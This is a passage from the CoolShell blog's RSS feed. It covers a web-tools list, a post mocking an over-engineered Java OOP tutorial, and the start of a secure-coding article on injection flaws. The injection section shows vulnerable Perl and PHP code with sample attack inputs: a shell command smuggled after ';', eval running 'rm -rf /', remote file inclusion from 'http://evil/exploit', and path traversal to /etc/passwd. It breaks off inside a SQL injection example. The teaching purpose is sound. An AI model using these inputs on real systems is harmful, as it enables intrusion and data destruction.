JavaScript的东西，并演示之。相似工具: <a href=\"http://jsbin.com/\">JSBin</a></li>\n</ul>\n<ul>\n<li><a href=\"https://developers.google.com/feed/v1/jsondevguide\">Google Feed API</a> 你可以使用这个API来查询有RSS Feed的网站 (<a href=\"http://ajax.googleapis.com/ajax/services/feed/lookup?v=1.0&amp;q=http://ivanzuzak.info/\">example</a>)，或是搜索有RSS Feed(<a href=\"https://ajax.googleapis.com/ajax/services/feed/find?v=1.0&amp;q=ivan%20zuzak\">example</a>) ，或是把JSON变成一个JSON返回 (<a href=\"https://ajax.googleapis.com/ajax/services/feed/load?v=1.0&amp;q=http://ivanzuzak.info/atom.xml\">example</a>)</li>\n</ul>\n<h4>未在列表的工具</h4>\n<ul>\n<li><a href=\"http://www.fiddler2.com/fiddler2/\">Fiddler</a> &#8212; 可能是最强大最好用的Web调试工具之一，它能记录所有客户端和服务器的http和https请求，允许你监视，设置断点，甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说，都有很大的帮助。.</li>\n</ul>\n<ul>\n<li><a href=\"http://grids.heroku.com/\">960 grid system generator</a> 和 <a href=\"http://meyerweb.com/eric/tools/css/reset/\">CSS reset</a> &#8212; 两个关注于Web站点设计的工具。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.nuvolabase.com/site/index.html\">NuvolaBase</a> &#8212; 一个可以共享个人私有数据的解决方案。正如作者所说，这不是一个开发工具。</li>\n</ul>\n<ul>\n<li><a href=\"https://openexchangerates.org/\">Open exchange rates</a> &#8212; 一个和汇率货币相关的JSON式的API。这样的API你可以到 <a href=\"http://www.programmableweb.com/\">Programmable Web</a> 上查找。</li>\n</ul>\n<ul>\n<li><a href=\"https://workflowy.com/\">Workflowy</a>, <a href=\"http://www.lastcalc.com/\">LastCalc</a>, <a href=\"http://codepad.org/\">Codepad</a>, <a href=\"http://www.mailinator.com/\">Mailinator</a> and <a href=\"http://10minutemail.com/\">10MinuteMail</a>, <a href=\"https://onetimesecret.com/\">One time secret</a> and <a href=\"http://copypastecharacter.com/\">CopyPasteCharacter</a> &#8212; 这些App似乎和Web开发没什么关系。</li>\n</ul>\n<ul>\n<li><a href=\"https://browsershots.org/\">Browsershots</a> &#8212; 一个用来测试网页在不同平台下的工具。（参看）</li>\n</ul>\n<ul>\n<li><a href=\"http://scriptular.com/\">Scriptular</a> and <a href=\"http://rubular.com/\">Rubular</a> &#8212; 正则表达式工具，这样的工具太多了，如： <a href=\"http://refiddle.com/\">ReFiddle</a>, <a href=\"http://regexpal.com/\">Regex pal</a> and <a href=\"http://www.txt2re.com/\">Txt2Re</a>。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" alt=\"十个免费的Web压力测试工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_title\">十个免费的Web压力测试工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png\" alt=\"性能测试应该怎么做？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_title\">性能测试应该怎么做？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8767.html\">Web工程师的工具箱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8767.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>41</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如此理解面向对象编程</title>\n\t\t<link>https://coolshell.cn/articles/8745.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8745.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 13 Dec 2012 00:19:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Object-Oriented]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8745</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>从Rob Pike 的 Google+上的一个推看到了一篇叫《Understanding Object Oriented Programming》的文章，我先把...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8745.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>从Rob Pike 的 Google+上的一个推看到了一篇叫《<a href=\"http://www.csis.pace.edu/~bergin/patterns/ppoop.html\" target=\"_blank\">Understanding Object Oriented Programming</a>》的文章，我先把这篇文章简述一下，然后再说说老牌黑客Rob Pike的评论。</p>\n<p>先看这篇教程是怎么来讲述OOP的。它先给了下面这个问题，这个问题需要输出一段关于操作系统的文字：假设Unix很不错，Windows很差。</p>\n<p>这个把下面这段代码描述成是<strong>Hacker Solution</strong>。（这帮人觉得下面这叫黑客？我估计这帮人真是没看过C语言的代码）</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class PrintOS\n{\n\tpublic static void main(final String[] args)\n\t{\n\t\tString osName = System.getProperty(&quot;os.name&quot;) ;\n\t\tif (osName.equals(&quot;SunOS&quot;) || osName.equals(&quot;Linux&quot;))\n\t\t{\n\t\t\tSystem.out.println(&quot;This is a UNIX box and therefore good.&quot;) ;\n\t\t}\n\t\telse if (osName.equals(&quot;Windows NT&quot;) || osName.equals(&quot;Windows 95&quot;))\n\t\t{\n\t\t\tSystem.out.println(&quot;This is a Windows box and therefore bad.&quot;) ;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tSystem.out.println(&quot;This is not a box.&quot;) ;\n\t\t}\n\t}\n}</pre>\n<p>然后开始用面向对象的编程方式一步一步地进化这个代码。</p>\n<p>先是以过程化的思路来重构之。</p>\n<p><span id=\"more-8745\"></span></p>\n<h4>过程化的方案</h4>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class PrintOS\n{\n\tprivate static String unixBox()\n\t{\n\t\treturn &quot;This is a UNIX box and therefore good.&quot; ;\n\t}\n\tprivate static String windowsBox()\n  \t{\n\t\treturn &quot;This is a Windows box and therefore bad.&quot; ;\n\t}\n\tprivate static String defaultBox()\n\t{\n\t\treturn &quot;This is not a box.&quot; ;\n\t}\n\tprivate static String getTheString(final String osName)\n\t{\n\t\tif (osName.equals(&quot;SunOS&quot;) || osName.equals(&quot;Linux&quot;))\n\t\t{\n\t\t\treturn unixBox() ;\n\t\t}\n\t\telse if (osName.equals(&quot;Windows NT&quot;) ||osName.equals(&quot;Windows 95&quot;))\n\t\t{\n\t\t\treturn windowsBox() ;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn defaultBox() ;\n\t\t}\n  \t}\n\tpublic static void main(final String[] args)\n\t{\n\t\tSystem.out.println(getTheString(System.getProperty(&quot;os.name&quot;))) ;\n\t}\n}</pre>\n<p>然后是一个幼稚的面向对象的思路。</p>\n<h4>幼稚的面向对象编程</h4>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class PrintOS\n{\n\tpublic static void main(final String[] args)\n  \t{\n\t\tSystem.out.println(OSDiscriminator.getBoxSpecifier().getStatement()) ;\n \t}\n}</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class OSDiscriminator // Factory Pattern\n{\n\tprivate static BoxSpecifier theBoxSpecifier = null ;\n  \tpublic static BoxSpecifier getBoxSpecifier()\n\t{\n\t\tif (theBoxSpecifier == null)\n\t\t{\n\t\t\tString osName = System.getProperty(&quot;os.name&quot;) ;\n \t\t\tif (osName.equals(&quot;SunOS&quot;) || osName.equals(&quot;Linux&quot;))\n \t\t\t{\n\t\t\t\ttheBoxSpecifier = new UNIXBox() ;\n\t\t\t}\n\t\t\telse if (osName.equals(&quot;Windows NT&quot;) || osName.equals(&quot;Windows 95&quot;))\n\t\t\t{\n\t\t\t\ttheBoxSpecifier = new WindowsBox() ;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttheBoxSpecifier = new DefaultBox () ;\n\t\t\t}\n\t\t}\n\t\treturn theBoxSpecifier ;\n\t}\n}</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic interface BoxSpecifier\n{\n\tString getStatement() ;\n}</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class DefaultBox implements BoxSpecifier\n{\n\tpublic String getStatement()\n\t{\n\t\treturn &quot;This is not a box.&quot; ;\n  \t}\n}</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class UNIXBox implements BoxSpecifier\n{\n\tpublic String getStatement()\n\t{\n\t\treturn &quot;This is a UNIX box and therefore good.&quot; ;\n  \t}\n}</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class WindowsBox implements BoxSpecifier\n{\n  \tpublic String getStatement()\n\t{\n\t\treturn &quot;This is a Windows box and therefore bad.&quot; ;\n\t}\n}</pre>\n<p>他们觉得上面这段代码没有消除if语句，他们说这叫代码的“logic bottleneck”（逻辑瓶颈），因为如果你要增加一个操作系统的判断的话，你不但要加个类，还要改那段if-else的语句。</p>\n<p>所以，他们整出一个叫Sophisticated的面向对象的解决方案。</p>\n<h4>OO大师的方案</h4>\n<p>注意其中的Design Pattern</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class PrintOS\n{\n  \tpublic static void main(final String[] args)\n  \t{\n\t\tSystem.out.println(OSDiscriminator.getBoxSpecifier().getStatement()) ;\n  \t}\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class OSDiscriminator // Factory Pattern\n{\n  \tprivate static java.util.HashMap storage = new java.util.HashMap() ;\n\n \tpublic static BoxSpecifier getBoxSpecifier()\n\t{\n\t\tBoxSpecifier value = (BoxSpecifier)storage.get(System.getProperty(&quot;os.name&quot;)) ;\n\t\tif (value == null)\n\t\t\treturn DefaultBox.value ;\n\t\treturn value ;\n \t}\n  \tpublic static void register(final String key, final BoxSpecifier value)\n  \t{\n\t\tstorage.put(key, value) ; // Should guard against null keys, actually.\n  \t}\n  \tstatic\n  \t{\n\t\tWindowsBox.register() ;\n  \t\tUNIXBox.register() ;\n  \t\tMacBox.register() ;\n  \t}\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic interface BoxSpecifier\n{\n  \tString getStatement() ;\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class DefaultBox implements BoxSpecifier // Singleton Pattern\n{\n\tpublic static final DefaultBox value = new DefaultBox () ;\n\tprivate DefaultBox() { }\n\tpublic String getStatement()\n\t{\n\t\treturn &quot;This is not a box.&quot; ;\n\t}\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class UNIXBox implements BoxSpecifier // Singleton Pattern\n{\n \tpublic static final UNIXBox value = new UNIXBox() ;\n\tprivate UNIXBox() { }\n\tpublic  String getStatement()\n   \t{\n\t\treturn &quot;This is a UNIX box and therefore good.&quot; ;\n \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(&quot;SunOS&quot;, value) ;\n  \t\tOSDiscriminator.register(&quot;Linux&quot;, value) ;\n \t}\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class WindowsBox implements BoxSpecifier  // Singleton Pattern\n{\n\tpublic  static final WindowsBox value = new WindowsBox() ;\n\tprivate WindowsBox() { }\n\tpublic String getStatement()\n\t{\n\t\treturn &quot;This is a Windows box and therefore bad.&quot; ;\n  \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(&quot;Windows NT&quot;, value) ;\n  \t\tOSDiscriminator.register(&quot;Windows 95&quot;, value) ;\n\t}\n}</pre>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic class MacBox implements BoxSpecifier // Singleton Pattern\n{\n \tpublic static final MacBox value = new MacBox() ;\n\tprivate MacBox() { }\n\tpublic  String getStatement()\n   \t{\n\t\treturn &quot;This is a Macintosh box and therefore far superior.&quot; ;\n \t}\n  \tpublic static final void register()\n  \t{\n\t\tOSDiscriminator.register(&quot;Mac OS&quot;, value) ;\n \t}\n}</pre>\n<p>作者还非常的意地说，他加了一个“Mac OS”的东西。<strong>老实说，当我看到最后这段OO大师搞出来的代码，我快要吐了</strong>。我瞬间想到了两件事：一个是以前酷壳上的《<a style=\"line-height: 13px;\" title=\"面向对象是个骗局？！\" href=\"https://coolshell.cn/articles/3036.html\" target=\"_blank\">面向对象是个骗局</a>》和 《<a style=\"line-height: 13px;\" title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">各种流行的编程方式</a>》中说的“设计模式驱动编程”，另一个我想到了那些被敏捷洗过脑的程序员和咨询师，也是这种德行。</p>\n<p>于是我去看了一下第一作者<a href=\"http://csis.pace.edu/~bergin/\" target=\"_blank\">Joseph Bergin的主页</a>，这个Ph.D是果然刚刚完成了一本关于敏捷和模式的书。</p>\n<h4>Rob Pike的评论</h4>\n<p>（Rob Pike是当年在Bell lab里和Ken一起搞Unix的主儿，后来和Ken开发了UTF-8，现在还和Ken一起搞Go语言。注：不要以为Ken和Dennis是基友，其实他们才是真正的老基友！）</p>\n<p>Rob Pike在他的<a href=\"https://plus.google.com/101960720994009339267/posts/hoJdanihKwb\" target=\"_blank\">Google+的这贴</a>里评论到这篇文章——</p>\n<p>他并不确认这篇文章是不是搞笑？但是他觉得这些个写这篇文章是很认真的。他说他要评论这篇文章是因为他们是一名Hacker，至少这个词出现在这篇文章的术语中。</p>\n<p>他说，这个程序根本就不需要什么Object，只需要一张小小的配置表格，里面配置了对应的操作系统和你想输出的文本。这不就完了。这么简单的设计，非常容易地扩展，他们那个所谓的Hack Solution完全就是笨拙的代码。后面那些所谓的代码进化相当疯狂和愚蠢的，这个完全误导了对编程的认知。</p>\n<p>然后，他还说，<strong>他觉得这些OO的狂热份子非常害怕数据，他们喜欢用多层的类的关系来完成一个本来只需要检索三行数据表的工作</strong>。他说他曾经听说有人在他的工作种用各种OO的东西来替换While循环。（我听说中国Thoughtworks那帮搞敏捷的人的确喜欢用Object来替换所有的if-else语句，他们甚至还喜欢把函数的行数限制在10行以内）</p>\n<p>他还给了一个链接<a href=\"http://prog21.dadgum.com/156.html\">http://prog21.dadgum.com/156.html</a>，你可以读一读。最后他说，<strong>OOP的本质就是——对数据和与之关联的行为进行编程</strong>。便就算是这样也不完全对，因为：</p>\n<p style=\"text-align: center;\"><strong>Sometimes data is just data and functions are just functions.</strong></p>\n<h4>我的理解</h4>\n<p>我觉得，这篇文章的例子举得太差了，差得感觉就像是OO的高级黑。面向对象编程注重的是：<strong>1）数据和其行为的打包封装，2）程序的接口和实现的解耦</strong>。你那怕，举一个多个开关和多个电器的例子，不然就像STL中，一个排序算法对多个不同容器的例子，都比这个例子要好得多得多。老实说，Java SDK里太多这样的东西了。</p>\n<p>我以前给一些公司讲一些设计模式的培训课，我一再提到，<strong>那23个经典的设计模式和OO半毛钱关系没有</strong>，只不过人家用OO来实现罢了。<strong>设计模式就三个准则：1）中意于组合而不是继承，2）依赖于接口而不是实现，3）高内聚，低耦合。你看，这完全就是Unix的设计准则</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"一些软件设计的原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4535.html\" class=\"wp_rp_title\">一些软件设计的原则</a></li><li ><a href=\"https://coolshell.cn/articles/3036.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"面向对象是个骗局？！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3036.html\" class=\"wp_rp_title\">面向对象是个骗局？！</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss-150x150.png\" alt=\"从面向对象的设计模式看软件设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_title\">从面向对象的设计模式看软件设计</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8745.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>185</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员疫苗：代码注入</title>\n\t\t<link>https://coolshell.cn/articles/8711.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8711.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 10 Dec 2012 00:34:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[CRSF]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[XSS]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8711</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>几个月在我的微博上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8711.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright  wp-image-8730\" title=\"程序员疫苗\" src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg\" alt=\"\" width=\"245\" height=\"206\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710.jpg 350w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-300x252.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-321x270.jpg 321w\" sizes=\"(max-width: 245px) 100vw, 245px\" />几个月在<a href=\"http://weibo.com/haeol\" target=\"_blank\">我的微博</a>上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样，我们应该给我们的新入行的程序员注射一些疫苗，就像给新生儿打疫苗一样，希望程序员从入行时就对这些错误有抵抗力。</p>\n<p>我的那个疫苗网站正在建议中（不好意思拖了很久），不过，我可以先写一些关于程序员疫苗性质的文章，也算是热热身。希望大家喜欢，先向大家介绍第一注疫苗——代码注入。</p>\n<h4>Shell注入</h4>\n<p>我们先来看一段perl的代码：</p>\n<p>[perl]use CGI qw(:standard);<br />\n$name = param(&#8216;name&#8217;);<br />\n$nslookup = &quot;/path/to/nslookup&quot;;<br />\nprint header;<br />\nif (open($fh, &quot;$nslookup $name|&quot;)) {<br />\n    while (&lt;$fh&gt;) {<br />\n        print escapeHTML($_);<br />\n        print &quot;&lt;br&gt;\\n&quot;;<br />\n    }<br />\n    close($fh);<br />\n}[/perl]</p>\n<p>如果用户输入的参数是：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">coolshell.cn%20%3B%20/bin/ls%20-l</code></p>\n<p>那么，这段perl的程序就成了：</p>\n<p><span id=\"more-8711\"></span></p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">/path/to/nslookup coolshell.cn ; /bin/ls -l</code></p>\n<p>我们再来看一段PHP的程序：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$myvar = &#039;somevalue&#039;;\n$x = $_GET[&#039;arg&#039;];\neval(&#039;$myvar = &#039; . $x . &#039;;&#039;);</pre>\n<p>&#8220;<code>eval</code>&#8220;的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果&#8221;arg&#8221;如果被设成&#8221;<code>10; system('rm -rf /')</code>&#8220;，后面的&#8221;<code>system('rm -rf /')</code>&#8220;代码将被运行，这等同在服务器上运行开发者意料外的程序。（关于rm -rf /，你懂的，可参看“<a title=\"一个空格引发的惨剧\" href=\"https://coolshell.cn/articles/4875.html\" target=\"_blank\">一个空格引发的悲剧</a>”）</p>\n<p>再来看一个PHP的代码</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$isadmin= false;\n...\n...\nforeach ($_GET as $key =&gt; $value) {\n  $$key = $value;\n}</pre>\n<p>如果攻击者在查询字符串中给定&#8221;isadmin=1&#8243;，那$isadmin将会被设为值 &#8220;1&#8221;，然后攻击值就取得了网站应用的admin权限了。</p>\n<p>再来看一个PHP的示例：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$action = &#039;login&#039;;\n   if (__isset( $_GET[&#039;act&#039;] ) )\n      $action = $_GET[&#039;act&#039;];\n   require( $action . &#039;.php&#039; ); </pre>\n<p>这个代码相当危险，攻击者有可能可以干这些事：</p>\n<ul>\n<li><code>/test.php?act=<strong>http://evil/exploit</strong></code> &#8211; 注入远程机器上有漏洞的文件。</li>\n<li><code>/test.php?act=<strong>/home/www/bbs/upload/exploit</strong></code> &#8211; 从一个已经上载、叫做exploit.php文件运行其代码。</li>\n<li><code>/test.php?act=<strong>../../../../etc/passwd%00</strong></code> &#8211; 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除<code>.php</code>扩展名限制，允许访问其他非 .php 结尾文件。 (PHP默认值&#8221;magic_quotes_gpc = On&#8221;可以终止这种攻击)</li>\n</ul>\n<p>这样的示例有很多，只要你的程序有诸如：<code>system()</code>、<code>StartProcess()</code>、<code>java.lang.Runtime.exec()</code>、<code>System.Diagnostics.Process.Start()</code>以及类似的应用程序接口，都是比较危险的，最好不要让其中的字符串去拼装用户的输入。</p>\n<p>PHP提供<code><a href=\"http://www.php.net/manual/en/function.escapeshellarg.php\" rel=\"nofollow\">escapeshellarg()</a></code>和<code><a href=\"http://www.php.net/manual/en/function.escapeshellcmd.php\" rel=\"nofollow\">escapeshellcmd()</a></code>以在调用方法以前进行编码。然而，实际上并不建议相信这些方法是安全的 。</p>\n<h4>SQL注入</h4>\n<p>SQL injection，是发生于应用程序之数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏。</p>\n<p>在应用程序中若有下列状况，则可能应用程序正暴露在SQL Injection的高风险情况下：</p>\n<ol>\n<li>在应用程序中使用字符串联结方式组合SQL指令（如：引号没有转义）。</li>\n<li>在应用程序链接数据库时使用权限过大的帐户（如：很多开发人员都喜欢用sa（最高权限的系统管理员帐户）连接Microsoft SQL Server数据库）。</li>\n<li>在数据库中开放了不必要但权力过大的功能（例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等）</li>\n<li>过于信任用户所输入的数据，未限制输入的字符数，以及未对用户输入的数据做潜在指令的检查。</li>\n</ol>\n<p>例程：</p>\n<p>某个网站的登录验证的SQL查询代码为</p>\n<div dir=\"ltr\">\n<div>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">strSQL = &quot;SELECT * FROM users\nWHERE (name = &#039;&quot; + userName + &quot;&#039;) and (pw = &#039;&quot;+ passWord 